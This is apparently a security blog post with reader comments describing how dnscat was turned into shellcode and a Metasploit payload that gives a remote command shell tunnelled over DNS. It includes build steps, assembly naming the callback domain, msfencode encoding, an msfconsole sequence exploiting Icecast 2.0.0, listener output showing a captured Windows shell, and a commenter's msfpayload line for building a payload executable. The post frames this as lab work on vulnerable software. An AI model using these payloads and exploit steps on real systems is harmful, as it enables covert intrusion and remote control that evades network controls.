Weaponizing dnscat with shellcode and Metasploit

Hey all,

I've been letting other projects slip these last couple weeks because I was excited about converting dnscat into shellcode (or "weaponizing dnscat", as I enjoy saying). Even though I got into the security field with reverse engineering and writing hacks for games, I have never written more than a couple lines of x86 at a time, nor have I ever written shellcode, so this was an awesome learning experience. Most people start by writing shellcode that spawns a local shell; I decided to start with shellcode that implements a dnscat client in under 1024 bytes (for both Linux and Windows). Like I always say, go big or go home!

If you just want to grab the files, here are some links:

If you want to get your hands dirty, you can compile the source -- right now, it's only in svn:

svn co http://svn.skullsecurity.org:81/ron/security/nbtool
cd nbtool

That'll compile both the standard dnscat client/server and, if you have nasm installed, the Linux and Windows shellcodes. On Windows, you'll need nasm to assemble it. I installed Cygwin, but you can compile the Windows shellcode on Linux or vice versa if you prefer. The output will be in samples/shellcode-*/. A .h file containing the C version will be generated, as well:

$ head -n3 dnscat-shell-test.h
char shellcode[] =

And, of course, the raw file is output (without an extension), that can be run through msfencode or embedded into a script:

 $ make
$ wc -c samples/shellcode-win32/dnscat-shell-win32
997 samples/shellcode-win32/dnscat-shell-win32
$ wc -c samples/shellcode-linux/dnscat-shell-linux
988 samples/shellcode-linux/dnscat-shell-linux

Unless you want to be sending your cmd.exe (or sh) shell to skullseclabs.org, you'll have to modify the domain as well -- the very last line in the assembly code for both Windows and Linux is this:

 call get_domain_top
 db 1, 'a' ; random
 db 12,'skullseclabs' ; <-- To modify domain, change this...
 db 3,'org' ; <-- and this. The number is the section length.
 db 0

The two lines with the domain have to be changed. The number preceding the name is, as the comment says, the length of the section ('skullseclabs' is 12 bytes, and 'org' is 3 bytes). This process is automated with the Metasploit payload, as you'll see.

Encoding with msfencode

msfencode from the Metasploit project is a beautiful utility. I highly recommend running shellcode through it before using it. The most useful aspect with shellcode is, at least to me, the ability to eliminate characters. So, if I need to get rid of \x00 (null) characters from my strings, it's as easy as:

$ msfencode -b "\x00" < dnscat-shell-win32 > dnscat-shell-win32-encoded
[*] x86/shikata_ga_nai succeeded with size 1024 (iteration=1)

If you're planning on using this in, for example, Metasploit, you don't have to worry about the msfencode step -- it'll do that for you.

Metasploit payload

Speaking of metasploit, yes! I wrote a metasploit payload for dnscat.

First, there are a number of caveats:

  • This is highly experimental
  • This doesn't have a proper "exitfunc" call -- it just returns and probably crashes the process
  • This is set up as a single stage, right now, and is 1000 or so bytes -- as a result, it won't work against most vulnerabilities
  • The dnscat server isn't part of Metasploit, yet, so you'll have to compile run it separately

That being said, it also works great when it's usable. The target I use for testing is Icecast 2 version 2.0.0 (WARNING: don't install vulnerable software on anything important!), which is included on the SANS 560 and 504 CDs (thanks Ed!). It's free, GPL, reliable, and has 2000 bytes in which to stuff the payload.

So, the steps you need to take are,

  1. Install Icecast2 on your victim machine (Win32)
  2. Download the experimental dnscat Metasploit module and put it in your Metasploit directory (modules/payloads/singles/windows/)
  3. Fire up a dnscat server on your authoritative DNS server (dnscat --listen) -- see the dnscat wiki for more information
  4. Run Metasploit (msfconsole) and enter the following commands:
  5. msf > use exploit/windows/http/icecast_header
    msf exploit(icecast_header) > set PAYLOAD windows/dnscat-shell-win32
    PAYLOAD => windows/dnscat-shell-win32
    msf exploit(icecast_header) > set RHOST
    RHOST =>
    msf exploit(icecast_header) > set DOMAIN skullseclabs.org
    DOMAIN => skullseclabs.org
    msf exploit(icecast_header) > exploit
    [*] Exploit completed, but no session was created.

    Meanwhile, on your dnscat server, if all went well, you should see:

    $ sudo ./dnscat --listen
    Waiting for DNS requests for domain '*' on
    Switching stream -> datagram
    Microsoft Windows [Version 5.2.3790]
    (C) Copyright 1985-2003 Microsoft Corp.
    C:\Program Files\Icecast2 Win32>

    You can type commands in, and they'll run just like a normal shell. Be warned, though, that it is somewhat slow, due to the nature of going through DNS.

    Why bother?

    The big advantage to this over traditional shellcode is that no port, whether inbound or outbound, is required! As long as the server has a DNS server set that will perform recursive lookups, it'll work great!


    As I said, this is the first time I've ever written shellcode or x86. I'm sure there are lots of places where it could be significantly improved, and I'd love to hear feedback from the folks who really know what they're doing and can help me improve my code.


14 thoughts on “Weaponizing dnscat with shellcode and Metasploit

  1. Reply

    Mark Baggett

    You are insane man. This is awesome stuff.

  2. Reply


    Hello Ron,

    thx for your time and effort. It seems to work out very well ;)
    I was able to reproduce your MSF integration exploit, by changing my "Primary DNS Server" on my XP SP3 box to the one specified in dnscat. Maybe you should add this to your tutorial part. I used the following:
    1) sudo ./dnscat --listen -d attacker.local
    2) On the victm XP I changed the primary DNS to my MSF machine

    Maybe there is a way to automate step 2) via a first stage metasploit payload and use your shellcode as second stage...

    It should't take HDM and the MSF crew too long to integrate dnscat in their framework :)

    Anyway. Very, very good work man. Congrats!

    1. Reply

      Ron Post author

      Thanks for the comments!

      @msfurr -- you shouldn't have to change your primary DNS server if you are the authority for your target domain. If you have the authoritative record, then any DNS server, whether it's a corporate, ISP, etc, will forward the DNS requests to your server. The downside, of course, is that having an authoritative DNS costs money. :)

  3. Reply


    Yes your right. But just for the tutorial, for people like me ;), who don't have an authoritive DNS, this little trick does it and your excellent tool can be tested in any lab/vm environment.

  4. Reply


    When using a browser/pdf exploit, I get the initial shell, but I lose the shell (no returned data) immediately after when I try to run tasklist, netstat, etc. Is this because the EXITFUNC is crashing the process which in turn closes the shell? Any ideas how to fix it?

    1. Reply

      Ron Bowes Post author

      Hmm, I'm not sure about that one, I'll have to test it.

      EXITFUNC doesn't run until you close the shell (by typing 'exit'), or the process terminates on its own. It could be hitting a DNS timeout or something like that, possibly.

  5. Reply


    I ran Wireshark during the DNSCat callback and noticed the commands (tasklist, netstat, etc.) from the attacker ARE making it to the target. The target just fails to return anything back to the attacker and the shell continues to hang. DNSCat works great in a client/server scenario...I only get this problem when using it as a payload and I've only tried Adobe/IE exploits...targeting clientside attacks.

    1. Reply

      Ron Bowes Post author

      The current payload is *far* less reliable than the actual client. I'm planning on re-writing the payload from scratch soon.

  6. Reply


    I'll be waiting. :) I gotta hand it to you...the payload is awesome.

  7. Reply



  8. Reply


    Hi Ron,

    I got dnscat working between my victim and server, however when I attempt to generate a payload like this:

    msfpayload windows/dnscat-shell-win32 RHOST=XXX.XXX.XXX.XXX DOMAIN=MYDOMAIN.com X > testdns.exe

    I don't seem to get any activity on the server... it just sits at "Waiting for DNS requests"

    Any thoughts? Also, what is the purpose of having to specify RHOST in the payload?



  9. Reply


    Nice work! Though repeatedly querying the same or very similar queries bespeaks a faulty resolver at best. Or perhaps I misunderstand your idea here? I personally prefer the transport to be ICMP echo request/response for various reasons. I recently posted a write up at informati.cc. I'm interested in your comments.

  10. Reply


    great content, keep it up.

    i think this link is also useful


  11. Reply



Leave a Reply

Your email address will not be published.